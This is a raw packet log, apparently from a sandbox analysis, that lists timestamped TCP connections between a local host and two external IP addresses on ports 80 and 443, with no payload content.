Dec 20, 2024 04:12:34.285320997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.285382986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.286468983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.286510944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.286576033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.286719084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.287758112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.287817955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.287900925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.287976980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.288980007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.289041042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.289057970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.289088964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.290517092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.290569067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.290604115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.290649891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.291444063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.291491985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.291557074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.291604042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.292687893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.292726994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.292747974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.292777061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.293955088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.294011116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.294073105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.294209003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.295214891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.295278072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.295290947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.295347929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.296420097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.296431065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.296471119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.297590971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.297641039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.297667027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.297719002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.298820019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.298876047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.298901081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.298989058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.300098896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.300152063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.300188065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.300323963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.301306009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.301350117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.301359892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.301388979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.302455902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.302515984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.302555084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.302651882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.303700924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.303752899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.303916931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.304114103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.304956913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.305058002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.305102110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.306237936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.306291103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.306452990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.306502104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.307375908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.307425976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.307503939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.307552099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.308634996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.308708906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.308727980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.308774948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.309843063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.309894085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.310142994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.310193062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.311213970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.311224937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.311261892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.311291933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.312393904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.312478065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.312516928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.312572002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.313525915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.313584089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.313651085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.313698053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.314836979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.314889908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.314918995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.314949989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.316009998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.316149950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.316180944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.316272974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.317233086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.317298889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.317312956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.317419052 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.318466902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.318511009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.318559885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.318612099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.319739103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.319787979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.319834948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.320918083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.320966005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.321022987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.321120977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.322086096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.322141886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.445806026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.445868015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.445956945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.446006060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.446404934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.446456909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.446587086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.446676970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.446758032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.446809053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.447438955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.447451115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.447499037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.447716951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.447802067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.447829008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.447870970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.448721886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.448774099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.448792934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.448837996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.449754953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.449805021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.449870110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.449934959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.450786114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.450833082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.450889111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.450937033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.451808929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.451864004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.451898098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.451936007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.452872992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.452923059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.452963114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.453013897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.453870058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.453919888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.453991890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.454118967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.454902887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.454962969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.455120087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.455171108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.455935955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.455985069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.456053019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.456100941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.456990004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.457039118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.457098961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.457210064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.458024025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.458070040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.458132982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.458177090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.459045887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.459152937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.459165096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.459222078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.460072041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.460154057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.460156918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.460205078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.461117029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.461164951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.461199999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.461237907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.464885950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.464895964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.464906931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.464917898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.464937925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.464979887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.465061903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.465073109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.465116978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.466150999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.466202974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.466325998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.466408014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.467257977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.467329025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.467452049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.467514992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.468189001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.468251944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.468374014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.468425035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.469271898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.469368935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.469450951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.469501972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.470432997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.470443010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.470490932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.471349955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.471410036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.471532106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.471601009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.472457886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.472467899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.472507954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.473359108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.473416090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.473531961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.473614931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.474462986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.474473953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.474514008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.475379944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.475425959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.475558996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.475609064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.476488113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.476538897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.476676941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.476753950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.477663040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.477674007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.477715015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.478566885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.478651047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.478764057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.478812933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.479684114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.479696035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.479739904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.480602980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.480648994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.480775118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.480820894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.481707096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.481718063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.481754065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.481784105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.482676983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.482687950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.482732058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.483779907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.483791113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.483834028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.483860016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.484822989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.484833956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.484879017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.484915018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.485804081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.485814095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.485866070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.486901999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.486912012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.486960888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.487832069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.487917900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.488003016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.488046885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.488975048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.488986015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.489029884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.490077019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.490088940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.490144014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.491051912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.491105080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.491419077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.491468906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.491964102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.492013931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.492155075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.492218018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.493037939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.493087053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.493202925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.493249893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.494088888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.494144917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.494261026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.494309902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.495148897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.495160103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.495198965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.495230913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.496197939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.496208906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.496257067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.497026920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.497097015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.497277975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.497342110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.498126030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.498205900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.498579025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.498651028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.499310017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.499381065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.499495983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.499541044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.538053989 CET	443	49840	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:34.538140059 CET	443	49840	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:34.538202047 CET	49840	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:34.538378000 CET	49840	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:34.538419008 CET	443	49840	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:34.637495041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.637567997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.637650967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.637698889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.637949944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.637991905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.638119936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.638161898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.638988018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.639066935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.639101028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.639143944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.640016079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.640065908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.640125036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.640168905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.641087055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.641135931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.641172886 CET	80	49838	31.41.244.11	192.168.2.4
